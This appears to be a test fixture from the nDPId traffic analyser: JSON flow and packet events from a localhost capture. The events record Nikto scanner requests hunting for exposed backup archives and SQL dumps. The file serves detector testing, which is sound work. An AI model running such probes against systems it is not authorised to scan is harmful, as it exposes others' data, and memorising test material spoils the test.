+00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":161,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":161,"flow_packet_id":1,"flow_first_seen":1576420276920,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49866,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00631{"flow_id":161,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":161,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":920996,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFpeFAAEAGlk9\/AAABfwAAAcLKH5AnGp2SsuR1gYAYAED+uQAAAQEICp1m++CdZvvgR0VUIC8xMjcwLnRhci5sem1hIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":161,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":161,"flow_packet_id":1,"flow_first_seen":1576420276920,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49866,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1270.tar.lzma","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":162,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":162,"flow_packet_id":1,"flow_first_seen":1576420276922,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49868,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00631{"flow_id":162,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":162,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":922627,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFIE9AAEAGG+J\/AAABfwAAAcLMH5CC7hgEsmCzLIAYAED+uQAAAQEICp1m++KdZvviR0VUIC8xMjcwLnRhci5sem1hIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":162,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":162,"flow_packet_id":1,"flow_first_seen":1576420276922,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49868,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1270.tar.lzma","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":163,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":163,"flow_packet_id":1,"flow_first_seen":1576420276924,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49870,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00631{"flow_id":163,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":163,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":924162,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFRxNAAEAG9R1\/AAABfwAAAcLOH5BdCH9f1fkuqIAYAED+uQAAAQEICp1m++SdZvvjR0VUIC8xMjdfMF8wXzEuc3FsIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":163,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":163,"flow_packet_id":1,"flow_first_seen":1576420276924,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49870,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127_0_0_1.sql","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":164,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":164,"flow_packet_id":1,"flow_first_seen":1576420276925,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49872,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00631{"flow_id":164,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":164,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":925593,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFQzdAAEAG+Pl\/AAABfwAAAcLQH5BEXHt7s07ta4AYAED+uQAAAQEICp1m++WdZvvlR0VUIC8xMjdfMF8wXzEuc3FsIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":164,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":164,"flow_packet_id":1,"flow_first_seen":1576420276925,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49872,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127_0_0_1.sql","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":165,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":165,"flow_packet_id":1,"flow_first_seen":1576420276926,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49874,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00635{"flow_id":165,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":165,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":926982,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIWd1AAEAG4lB\/AAABfwAAAcLSH5AL0mGV2bYy0oAYAED+vAAAAQEICp1m++adZvvmR0VUIC8xMjcuMC4wLnRhci5sem1hIEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00768{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":165,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":165,"flow_packet_id":1,"flow_first_seen":1576420276926,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49874,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.tar.lzma","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":166,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":166,"flow_packet_id":1,"flow_first_seen":1576420276928,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49876,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00635{"flow_id":166,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":166,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":928408,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIwcZAAEAGemd\/AAABfwAAAcLUH5BvVfmVJOeoY4AYAED+vAAAAQEICp1m++idZvvoR0VUIC8xMjcuMC4wLnRhci5sem1hIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00768{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":166,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":166,"flow_packet_id":1,"flow_first_seen":1576420276928,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49876,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.tar.lzma","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":167,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":167,"flow_packet_id":1,"flow_first_seen":1576420276929,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49878,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":167,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":167,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":929766,"pkt_caplen":205,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":205,"pkt_l4_len":171,"pkt":"AAAAAAAAAAAAAAAACABFAAC\/L19AAEAGDNh\/AAABfwAAAcLWH5BVghcOcLaACoAYAED+swAAAQEICp1m++mdZvvpR0VUIC8xMjcudGd6IEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00759{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":167,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":167,"flow_packet_id":1,"flow_first_seen":1576420276929,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49878,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.tgz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":168,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":168,"flow_packet_id":1,"flow_first_seen":1576420276932,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49880,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00626{"flow_id":168,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":168,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":932192,"pkt_caplen":205,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":205,"pkt_l4_len":171,"pkt":"AAAAAAAAAAAAAAAACABFAAC\/j\/RAAEAGrEJ\/AAABfwAAAcLYH5CKH7ek\/31EG4AYAED+swAAAQEICp1m++ydZvvsR0VUIC8xMjcudGd6IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00759{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":168,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":168,"flow_packet_id":1,"flow_first_seen":1576420276932,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49880,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.tgz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":169,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":169,"flow_packet_id":1,"flow_first_seen":1576420276933,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49882,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00631{"flow_id":169,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":169,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":933633,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFT2BAAEAG7NB\/AAABfwAAAcLaH5CU9HcQhzdjIYAYAED+uQAAAQEICp1m++2dZvvtR0VUIC9zaXRlLnRhci5sem1hIEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":169,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":169,"flow_packet_id":1,"flow_first_seen":1576420276933,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49882,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/site.tar.lzma","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":170,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":170,"flow_packet_id":1,"flow_first_seen":1576420276934,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49884,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":170,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":170,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":934870,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFqdVAAEAGklt\/AAABfwAAAcLcH5A055GDxax\/gIAYAED+uQAAAQEICp1m++6dZvvuR0VUIC9zaXRlLnRhci5sem1hIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":170,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":170,"flow_packet_id":1,"flow_first_seen":1576420276934,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49884,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/site.tar.lzma","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":171,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":171,"flow_packet_id":1,"flow_first_seen":1576420276936,"flow_last_seen":0,"flow_tot_l4_data_len":182,"flow_min_l4_data_len":182,"flow_max_l4_data_len":182,"flow_avg_l4_data_len":182,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49886,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00635{"flow_id":171,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":171,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":936073,"pkt_caplen":216,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":216,"pkt_l4_len":182,"pkt":"AAAAAAAAAAAAAAAACABFAADKdTNAAEAGxvh\/AAABfwAAAcLeH5C4Uk1kAkvbMoAYAED+vgAAAQEICp1m+++dZvvvR0VUIC8xMjcuMC4wLjEudGFyLmx6bWEgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00770{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":171,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":171,"flow_packet_id":1,"flow_first_seen":1576420276936,"flow_last_seen":0,"flow_tot_l4_data_len":182,"flow_min_l4_data_len":182,"flow_max_l4_data_len":182,"flow_avg_l4_data_len":182,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49886,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.1.tar.lzma","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":172,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":172,"flow_packet_id":1,"flow_first_seen":1576420276937,"flow_last_seen":0,"flow_tot_l4_data_len":182,"flow_min_l4_data_len":182,"flow_max_l4_data_len":182,"flow_avg_l4_data_len":182,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49888,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":172,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":172,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":937297,"pkt_caplen":216,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":216,"pkt_l4_len":182,"pkt":"AAAAAAAAAAAAAAAACABFAADK9XZAAEAGRrV\/AAABfwAAAcLgH5B7eM0nuPdDlYAYAED+vgAAAQEICp1m+\/GdZvvxR0VUIC8xMjcuMC4wLjEudGFyLmx6bWEgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00770{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":172,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":172,"flow_packet_id":1,"flow_first_seen":1576420276937,"flow_last_seen":0,"flow_tot_l4_data_len":182,"flow_min_l4_data_len":182,"flow_max_l4_data_len":182,"flow_avg_l4_data_len":182,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49888,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.1.tar.lzma","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":173,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":173,"flow_packet_id":1,"flow_first_seen":1576420276938,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49890,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":173,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":173,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":938548,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFaYFAAEAG0q9\/AAABfwAAAcLiH5DjU1EuPo0KHoAYAED+uQAAAQEICp1m+\/KdZvvyR0VUIC8xMjcuMC4wLjEuemlwIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQoNCg=="} 